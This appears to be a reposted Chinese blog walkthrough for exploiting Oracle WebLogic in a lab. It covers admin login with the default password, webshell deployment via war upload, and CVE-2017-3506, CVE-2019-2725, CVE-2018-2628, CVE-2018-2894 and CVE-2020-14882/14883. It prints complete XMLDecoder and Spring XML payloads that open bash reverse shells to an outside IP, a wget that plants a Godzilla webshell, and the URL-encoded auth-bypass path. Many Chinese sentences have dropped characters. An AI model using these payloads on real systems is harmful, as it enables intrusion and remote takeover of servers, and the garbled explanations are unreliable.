当前位置: 首页 > news >正文

WebLogic中间件漏洞攻略

​​​​​​后台GetShell

 通过弱令进⼊后台, 传部war, getshell

使用弱口令登录 ,weblogic/Oracle@123

点击部署->安装 

点击上载文件 

点击选择文件,两个都可以 

 使用Godzilla哥斯拉生成jsp木马写入1.jsp文件,再将此文件压缩成zip文件,将此时的1.zip改为1.war

之后使用http://39.105.61.160:7001/1/1.jsp就可以访问到,可以使用此地址使用哥斯拉连接 

CVE-2017-3506

XMLDecoder列化漏洞,WeblogicWLS Security组件对外供了webserver服务中使XMLDecoder来解析户输XML数据解析列化导致任意令执

访问http://39.105.61.160:7001/wls-wsat/CoordinatorPortType可以判断wls-wsat组件是否存在

 在此页面用Burp抓包

监听8888端口 

 发送到重放器修改Content-Type: text/xml,右键修改请求方法,改为POST请求方法,将下面的代码改为自己服务器ip和监听的端口

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/39.105.61.160/8888&gt;&amp;1</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

 点击发送,成功监听到

 CVE-2019-2725

wls9-async等组件为WebLogic Server步通认应WebLogic WAR在反序列化时存在缺攻击者通过发送精构造恶意 HTTP 即可获标服在未远程执命令

访问http://39.105.61.160:7001/_async/AsyncResponseService出现图中情况,说明漏洞存在

在此页面进行抓包 

将之前的1.jsp文件放到自己服务器的根目录,改名为1.txt 

发送到重放器修改Content-Type: text/xml,右键修改请求方法,改为POST请求方法,将下面的代码改为自己服务器ip和文件名称

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://39.105.61.160/1.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

代码的大致意思是将自己服务器的1.txt文件下载到靶场并命名为678.jsp 

访问http://39.105.61.160:7001/bea_wls_internal/678.jsp就可以访问到,之后可以使用哥斯拉连接 

​​​​​​​CVE-2018-2628

WebLogic T3协议反列化命令执(CVE-2018- 2628)

Weblogic Server中RMI 通信使T3协议Weblogic Server和其它Java程序户端或者其它 Weblogic Server之间传输数据, 例会跟踪接到程序Java虚拟JVM,T3协议通信连, 传输Java虚拟. T3协议在开WebLogic控制台攻击以通过T3协议发送恶意的的列化数据, ⾏反列化, 对存weblogic远程代⾏攻击

使用工具Java反序列化漏洞利用工具V1.7.jar

 ​​​​​​CVE-2018-2894

WebLogic件任意漏洞,Weblogic Web Service Test Page处任意漏洞Web Service Test Page ""所以漏洞定限制

通过日志寻找密码 

docker-compose logs | grep password

 base-domain -> ⾼级 -> 启动Web服务测试⻚

 点击保存 , 进⼊ config.do ⽂件进⾏设置,将工作目录修改

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.w  ebservices.wls.ws-testclient-app-wls/4mcj4y/war/css

保存后,点击安全 , 点击添加 

将之前的1.jsp放入 

提交后,按F12,找到1.jsp的代码,发现文件命名规则

 通过http://39.105.61.160:7001/ws_utc/css/config/keystore/1742720661348_1.jsp就可以访问,也可以使用哥斯拉连接

CVE-2020-14882

WebLogic远程漏洞,

CVE-2020-14882   远程过管控制件中

CVE-2020-14883   过身户在管控制⾏任何

使两个远程攻击者可通过 HTTP Oracle WebLogic ⾏任意命并完全控制主

使⽤以下url绕过登录认证,多试几次

​​​​​​​​​​​http://39.105.61.160:7001/console/css/%252e%252e%252fconsole.portal

%252e%252e%252是../的url编码 ,使用../的回溯,回到控制台首页

监听6666端口 

 ​​​​​​​

 在自己服务器上新建1.xml,改为自己的ip,端口,监听的端口

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/39.105.61.160/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

 

将网站打开

 访问下面网址

http://39.105.61.160:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://39.105.61.160/1.xml")

成功反弹shell 

 

 

相关文章:

  • 六十天前端强化训练之第二十八天之Composition 函数完全指南
  • 串口通信与Modbus通信的区别和联系
  • 2025高频面试算法总结篇【链表堆栈队列】
  • priority_queue的模拟实现
  • 如何使用logminer
  • 剑指小米特斯拉:秦L EV上市11.98万起
  • BP神经网络+NSGAII算法(保真)
  • 【F#入门】第四讲 函数,管道与组合
  • dnf命令详解
  • hackmyvm-lookup
  • Linux中查找标准库函数的定义
  • MongoDB未授权访问漏洞
  • 个人博客系统 --- 测试报告
  • 【js逆向】某酒店模拟登录
  • 【蓝桥杯】真题 2386染色时间 (优先队列BFS)
  • 智慧教育云平台支持下的学生自主学习能力培养策略研究
  • dfs刷题矩阵搜索问题
  • 深入理解Java虚拟机(学习笔记)
  • 开源视频剪辑工具,无损编辑更高效
  • 车道保持中车道线识别
  • 特朗普称将禁止伊朗石油买家与美国做生意
  • 近七成科创板公司2024年营收增长,285家营收创历史新高
  • 马上评|科学谋划“十五五”,坚定不移办好自己的事
  • 黄育奇当选福建惠安县人民政府县长
  • 江西德安回应“义门陈遗址建筑被没收”:将交由规范的义门陈相关社会组织管理
  • 中国公民在日本被机动车碾压身亡,我使馆发布提醒